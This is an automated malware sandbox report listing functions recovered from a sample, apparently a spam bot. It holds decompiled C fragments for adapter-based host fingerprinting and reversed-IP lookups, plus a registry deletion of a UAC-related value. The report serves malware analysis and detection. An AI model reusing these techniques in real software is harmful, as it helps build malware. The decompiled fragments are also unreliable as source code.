Opcode ID: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction ID: 9d9c8e3a68cf266b1a1a53fabf391dff4b24ba3a1948b4ca14761370289dc841
Opcode Fuzzy Hash: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction Fuzzy Hash: EA41F6B1E0022A9FDB24CF48C981BAEB7B5FF89314F10919AD649B7241C7385E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427FED, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00428019
__aullrem.LIBCMT ref: 004281E6
__aulldiv.LIBCMT ref: 00428208

Strings

9, xrefs: 00428219

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction ID: dd4510e8b26c98c89f0bef53923d8606ecad82419a78f1599b9717441cc34115
Opcode Fuzzy Hash: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction Fuzzy Hash: 74410671E01629DFDB64DF48DC89BAEB7B5BB84300F5481DAD009A7245CB389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043520B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00435288
_get_int64_arg.LIBCMTD ref: 004352B0
__aullrem.LIBCMT ref: 00435455
__aulldiv.LIBCMT ref: 00435477

Strings

9, xrefs: 00435488

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction ID: 25afdf16b062341f7b29d9837b231efbdbfca27116382d3d7e7b690edbaa6769
Opcode Fuzzy Hash: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction Fuzzy Hash: 8741D2B1D15A28DFDB24CF58C889BAEB7B5FB58300F2491DAE409A7240D7789E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043C61D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C6A0
_get_int64_arg.LIBCMTD ref: 0043C6C8
__aullrem.LIBCMT ref: 0043C870
__aulldiv.LIBCMT ref: 0043C892

Strings

9, xrefs: 0043C8A3

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction ID: 27e801ea0e6fa490e2f3aa72ed8e51957bdc7d5d94c36bd4924ef17b83d3fcac
Opcode Fuzzy Hash: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction Fuzzy Hash: 7C4106B1E0022A9FDB24CF58C981BAEB7B5FF89314F10519AE649B7201C7785E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427F9C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00428019
_get_int64_arg.LIBCMTD ref: 00428041
__aullrem.LIBCMT ref: 004281E6
__aulldiv.LIBCMT ref: 00428208

Strings

9, xrefs: 00428219

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction ID: e1eae8040c630a71b5c7936476c90841d8f4b6bd64c73ea3132954e259555e35
Opcode Fuzzy Hash: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction Fuzzy Hash: 35411671E06629DFDB64DF48ED89BAEB7B5BB84300F5081DAD009A7245CB389E81CF05

Uniqueness

Uniqueness Score: -1.00%

Function 0064BC63, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0064B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0064BA23
InterlockedIncrement.KERNEL32(?), ref: 0064BA7D
GetTickCount.KERNEL32 ref: 0064BB62
GetTickCount.KERNEL32 ref: 0064BB82
InterlockedIncrement.KERNEL32(?), ref: 0064BDFE
closesocket.WS2_32(00000000), ref: 0064BE9D

Strings

%FROM_EMAIL, xrefs: 0064BC66
0t, xrefs: 0064BB82

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: %FROM_EMAIL$0t
API String ID: 1869671989-1316789084
Opcode ID: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction ID: ab53154fbd548b08ef1c92097e86c3da2b8b4bb282116ab96277815771d7fe4b
Opcode Fuzzy Hash: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction Fuzzy Hash: 4B319371900248EFDF65DFA4DC84EED77BAEB84700F20505AFA2492261EB35DA85CF15

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401AC3() {
				signed int _v8;
				char _v12;
				signed int _v16;
				struct HINSTANCE__* _t19;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr* _t28;
				signed int _t39;
				void* _t41;
				intOrPtr _t43;

				_v16 = 0;
				_t19 = LoadLibraryA("Iphlpapi.dll");
				if(_t19 == 0) {
					L15:
					return _v16;
				}
				_t28 = GetProcAddress(_t19, "GetAdaptersAddresses");
				if(_t28 == 0) {
					L14:
					goto L15;
				}
				_push( &_v12);
				_v8 = 0;
				_v12 = 0;
				_push(0);
				while(1) {
					_t41 =  *_t28(2, 0, 0);
					if(_t41 != 0x6f) {
						break;
					}
					_t24 = E0040EBED(_v8, _v12);
					if(_t24 == 0) {
						break;
					}
					_push( &_v12);
					_v8 = _t24;
					_push(_t24);
				}
				if(_t41 != 0) {
					L11:
					if(_v8 != 0) {
						E0040EC2E(_v8);
					}
					L13:
					goto L14;
				}
				_t26 = _v8;
				if(_t26 == 0) {
					goto L13;
				} else {
					goto L8;
				}
				do {
					L8:
					_t43 =  *((intOrPtr*)(_t26 + 0x34));
					_t39 = 0;
					if(_t43 <= 0) {
						goto L10;
					} else {
						goto L9;
					}
					do {
						L9:
						_v16 = _v16 ^ ( *(_t26 + _t39 + 0x2c) & 0x000000ff) << (_t39 & 0x00000003) << 0x00000003;
						_t39 = _t39 + 1;
					} while (_t39 < _t43);
					L10:
					_t26 =  *((intOrPtr*)(_t26 + 8));
				} while (_t26 != 0);
				goto L11;
			}

0x00401ad1
0x00401ad4
0x00401adc
0x00401b6b
0x00401b70
0x00401b70
0x00401aef
0x00401af3
0x00401b6a
0x00000000
0x00401b6a
0x00401af9
0x00401afa
0x00401afd
0x00401b00
0x00401b1c
0x00401b22
0x00401b27
0x00000000
0x00000000
0x00401b09
0x00401b12
0x00000000
0x00000000
0x00401b17
0x00401b18
0x00401b1b
0x00401b1b
0x00401b2b
0x00401b5b
0x00401b5e
0x00401b63
0x00401b68
0x00401b69
0x00000000
0x00401b69
0x00401b2d
0x00401b32
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b34
0x00401b34
0x00401b34
0x00401b37
0x00401b3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b3d
0x00401b3d
0x00401b4c
0x00401b4f
0x00401b50
0x00401b54
0x00401b54
0x00401b57
0x00000000

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses,00000000,?,?,?,?,00000001), ref: 00401AE9

Strings

GetAdaptersAddresses, xrefs: 00401AE3
Iphlpapi.dll, xrefs: 00401ACC

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 2574300362-1087626847
Opcode ID: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction ID: f6c238f91e07a5798e813b0b618c72a9a5addbcd8e0b61e0281ff71d4ef1483f
Opcode Fuzzy Hash: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction Fuzzy Hash: 3D11DA71E01124BFCB11DBA5DD858EEBBB9EB44B10B144077E005F72A1E7786E80CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0064764E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 006476C2
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 00647956
RegCloseKey.ADVAPI32(?), ref: 00647967

Strings

PromptOnSecureDesktop, xrefs: 006476AE, 006476B3, 006476CE

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CloseEnumOpen
String ID: PromptOnSecureDesktop
API String ID: 1332880857-2980165447
Opcode ID: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction ID: 5240f5aff51f4412cb414df8b7ac1696925e2763fd8b65f88ced3d28fc0738b4
Opcode Fuzzy Hash: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction Fuzzy Hash: 8311EB30A04109AFDB119FA9EC45FEFBFBAEF82700F254564F510EA291E7B18D508B60

Uniqueness

Uniqueness Score: -1.00%

Function 0064994F, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 00649986
RegDeleteValueA.ADVAPI32(?,00000000), ref: 006499A6
RegCloseKey.ADVAPI32(?), ref: 006499AF

Strings

PromptOnSecureDesktop, xrefs: 00649972, 00649977, 00649999, 006499BC

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction ID: 5044c75368b095cbf02601c8c840e5bee92e6119277bb4fe9d41db6e9fcc083d
Opcode Fuzzy Hash: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction Fuzzy Hash: B7F096B2680208BBF7116B54AC07FDF3A2DDB85B00F104075FA05B9092F6E59EA082BD

Uniqueness

Uniqueness Score: -1.00%

Function 0064DF55, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34threadsleepCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0064DF70
Sleep.KERNEL32(00000000,?,?,0064E56D,006444CB), ref: 0064DF8B
GetCurrentThreadId.KERNEL32 ref: 0064DFA3

Strings

0t, xrefs: 0064DF56

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CurrentThread$Sleep
String ID: 0t
API String ID: 2068822874-1355922044
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 3bcaaac882d3d4be74f78a857e5f63e6bf14d5a3633e8663d0706489f7ad0405
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 3CF08975A04204FFD7A06FA5FC84BE97FA6E708313F108076E50AC2255C77055898F6E

Uniqueness

Uniqueness Score: -1.00%

Function 0064EEA4, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0064EEAE
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0064EEC2
GetTickCount.KERNEL32 ref: 0064EEC8

Strings

0t, xrefs: 0064EEC8

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID: 0t
API String ID: 1209300637-1355922044
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 006428D4, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(u6A), ref: 006428E3
gethostbyname.WS2_32(u6A), ref: 006428EF

Strings

time_cfg, xrefs: 006428D4
u6A, xrefs: 006428D5, 006428E2, 006428EE

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$u6A
API String ID: 1594361348-1940331995
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: a0db6c5fa7e04cb8209dc28e39ff2f6a6efeed85a0f1c12c5566429899bb946e
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 5AE0C730604022AFCB10CB28FC48ACA37E6EF0A330F608181F044C32A0C730ECC19B84

Uniqueness

Uniqueness Score: -1.00%

Function 0064D7B9, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 7sleepCOMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 0064D7BC
Sleep.KERNEL32(000003E8), ref: 0064D7C7
ExitProcess.KERNEL32 ref: 0064D7D3

Strings

p2u, xrefs: 0064D7BC

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: ExitProcessSleepclosesocket
String ID: p2u
API String ID: 2012141568-1441537569
Opcode ID: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction ID: ceb7fdad46dbffd3bc003e0d809ddf107255ed7be251389c95d7ef1a0bc26492
Opcode Fuzzy Hash: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction Fuzzy Hash: 8DC04830841208EBD7812BB4FC4DA8C3E6AAB08302B20D164B10A900B1CAB20A808A29

Uniqueness

Uniqueness Score: -1.00%

Function 006469AC, Relevance: 6.2, APIs: 4, Instructions: 199COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 006469CE
SetFileAttributesA.KERNEL32(?,00000002), ref: 00646A0F
GetFileSize.KERNEL32(000000FF,00000000), ref: 00646A23
CloseHandle.KERNEL32(000000FF), ref: 00646BC1

Part of subcall function 0064EE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,00641DB8,?), ref: 0064EE91
Part of subcall function 0064EE7E: HeapFree.KERNEL32(00000000), ref: 0064EE98

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeHandleProcessSize
String ID:
API String ID: 3384756699-0
Opcode ID: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction ID: d887d301cc653291d711ef99757bf186bdb04168042e555a97efceea3cb232af
Opcode Fuzzy Hash: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction Fuzzy Hash: 5D71187190021DEFDF118FA4CC84AEEBBBAFB05354F1045AAF515E62A0D7309E92DB60

Uniqueness

Uniqueness Score: -1.00%

Function 004362A5, Relevance: 6.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00436336
_memset.LIBCMT ref: 00436413
__invalid_parameter.LIBCMTD ref: 00436489

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID:
API String ID: 2178901135-0
Opcode ID: 035ab9ceec3587f0e0cfa43a99bc29b1ba7f2ec775f106502e1155780788a1a3
Instruction ID: 89711679a30d739fed6142fc3cba2577c7e0fd7e36cafe241720c91de2aed7fe
Opcode Fuzzy Hash: 035ab9ceec3587f0e0cfa43a99bc29b1ba7f2ec775f106502e1155780788a1a3
Instruction Fuzzy Hash: 65619270A0020AFFCF24CF58C844AAE7371BB58328F21D22AE8256B3D4D6799951CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00401C5F, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401C5F(void* __eflags) {
				signed int _t49;
				signed int _t51;
				void* _t80;
				char _t91;
				void* _t92;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t107;
				void* _t108;

				_t105 = _t107 - 0x70;
				_t108 = _t107 - 0x114;
				 *(_t105 + 0x6c) =  *(_t105 + 0x6c) & 0x00000000;
				_t98 =  *(_t105 + 0x7c);
				 *(_t105 + 0x7c) =  *(_t105 + 0x7c) & 0x00000000;
				_t101 = E0040ED03(_t98, 0x2c);
				if(_t101 == 0) {
					L6:
					_t49 = _t98;
					_t32 = _t49 + 1; // 0x2
					_t102 = _t32;
					do {
						_t91 =  *_t49;
						_t49 = _t49 + 1;
					} while (_t91 != 0);
					 *((char*)(_t105 + _t49 - _t102 - 0x24)) = _t91;
					_t51 = _t98;
					_t35 = _t51 + 1; // 0x2
					_t103 = _t35;
					do {
						_t92 =  *_t51;
						_t51 = _t51 + 1;
					} while (_t92 != 0);
					E0040EE5C(_t105 - 0x24, _t98, _t51 - _t103);
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x7b) & 0x000000ff,  *(_t105 + 0x7a) & 0x000000ff,  *(_t105 + 0x79) & 0x000000ff,  *(_t105 + 0x78) & 0x000000ff, _t105 - 0x24);
					if(E00402684(_t105 - 0xa4) != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					L12:
					return  *(_t105 + 0x6c);
				}
				 *(_t105 + 0x5c) =  *(_t105 + 0x78) & 0x000000ff;
				 *(_t105 + 0x60) =  *(_t105 + 0x79) & 0x000000ff;
				 *(_t105 + 0x68) =  *(_t105 + 0x7a) & 0x000000ff;
				 *(_t105 + 0x64) =  *(_t105 + 0x7b) & 0x000000ff;
				while(1) {
					 *((char*)(_t105 + _t101 - _t98 - 0x24)) = 0;
					E0040EE5C(_t105 - 0x24, _t98, _t101 - _t98);
					_t22 = _t101 + 1; // 0x1
					_t98 = _t22;
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x64),  *(_t105 + 0x68),  *(_t105 + 0x60),  *(_t105 + 0x5c), _t105 - 0x24);
					_t80 = E00402684(_t105 - 0xa4);
					_t108 = _t108 + 0x2c;
					if(_t80 != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					 *(_t105 + 0x7c) =  *(_t105 + 0x7c) + 1;
					if( *(_t105 + 0x7c) > 0x1e) {
						goto L12;
					}
					_t101 = E0040ED03(_t98, 0x2c);
					if(_t101 != 0) {
						continue;
					}
					goto L6;
				}
				goto L12;
			}

0x00401c60
0x00401c64
0x00401c6a
0x00401c71
0x00401c74
0x00401c86
0x00401c8c
0x00401d1c
0x00401d1c
0x00401d1e
0x00401d1e
0x00401d21
0x00401d21
0x00401d23
0x00401d24
0x00401d2a
0x00401d2e
0x00401d30
0x00401d30
0x00401d33
0x00401d33
0x00401d35
0x00401d36
0x00401d42
0x00401d6b
0x00401d7e
0x00401d88
0x00401d88
0x00401d8b
0x00401d95
0x00401d95
0x00401c96
0x00401c9d
0x00401ca4
0x00401cab
0x00401cae
0x00401cb3
0x00401cbd
0x00401cd2
0x00401cd2
0x00401ce1
0x00401cea
0x00401cef
0x00401cf4
0x00401cfe
0x00401cfe
0x00401d04
0x00401d0a
0x00000000
0x00000000
0x00401d14
0x00401d1a
0x00000000
0x00000000
0x00000000
0x00401d1a
0x00000000

APIs

wsprintfA.USER32 ref: 00401CE1
wsprintfA.USER32 ref: 00401D6B

Strings

localcfg, xrefs: 00401C70
%u.%u.%u.%u.%s, xrefs: 00401CDB, 00401D65

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction ID: f60862e96afe744063ef1f8e151e0253a3d6131670b42bf9f562b78b9aabf051
Opcode Fuzzy Hash: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction Fuzzy Hash: 3C41C1729042999FDB21DF798D44BEE7BE89F49310F240066FD64E3192D639EA04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041AC01, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041ACB5

Part of subcall function 00421720: __encode_pointer.LIBCMTD ref: 00421801

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: bd5f022fdd1d3c5235b296f91ea3384d698401cf7c935dfb91f3aeea7f321e09
Instruction ID: 880317640b8203e46ca211d29b99f0e9ae2940cac3d3dabbd50b2c74e49668af
Opcode Fuzzy Hash: bd5f022fdd1d3c5235b296f91ea3384d698401cf7c935dfb91f3aeea7f321e09
Instruction Fuzzy Hash: BA412731C09744D6CB12EB39DA0516EB7B0FF95345F00876AEC8861251FB3889A9D35B

Uniqueness

Uniqueness Score: -1.00%

Function 0042EB70, Relevance: 6.1, APIs: 4, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

___dtold.LIBCMTD ref: 0042EB8A
_$I10_OUTPUT.LIBCMTD ref: 0042EBB2
_wcscpy_s.LIBCMTD ref: 0042EBF2

Part of subcall function 0041DDB0: __invalid_parameter.LIBCMTD ref: 0041DE22

__invoke_watson_if_error.LIBCMTD ref: 0042EBFB

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID:
API String ID: 289039318-0
Opcode ID: bfcd091f1d0774d669c38cfa90a566c20b4b14665bf009a982bb6569213a1d9a
Instruction ID: 92c01ac04714e4bb07f12e5c741e8d27a2a922653e9147a909e45da56dd3bd63
Opcode Fuzzy Hash: bfcd091f1d0774d669c38cfa90a566c20b4b14665bf009a982bb6569213a1d9a
Instruction Fuzzy Hash: 94213BB5A002089BCB04DF65DD42AEEB7B4AF4C704F14855AF905AB381E634E911CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00644168, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00644194
GetLastError.KERNEL32 ref: 0064419E
WaitForSingleObject.KERNEL32(?,?), ref: 006441AF
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 006441C2

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: f3b38e5699057094e03fdbb5bea5922c16139987a2e28c8360131ec69d491645
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: 5601A5B2511109ABDF11DF90ED85BEF7BBDFB18356F104061F901E2150EB70AAA48BB6

Uniqueness

Uniqueness Score: -1.00%

Function 006441DC, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00644208
GetLastError.KERNEL32 ref: 00644212
WaitForSingleObject.KERNEL32(?,?), ref: 00644223
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00644236

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 43bf9bd450d4a32e612a457fa1ff30812042521934f07d383daed1881dec88f2
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: B8010472511209ABDF01DF90ED85BEF7BADFB08396F108061F901E2150DBB0DA548BB6

Uniqueness

Uniqueness Score: -1.00%

Function 0064E01F, Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 35stringCOMMON

Download Yara Rule

APIs

lstrcmp.KERNEL32(?,80000009), ref: 0064E04F

Strings

A, xrefs: 0064E01F
A, xrefs: 0064E068
A, xrefs: 0064E020, 0064E025

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: lstrcmp
String ID: A$ A$ A
API String ID: 1534048567-1846390581
Opcode ID: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
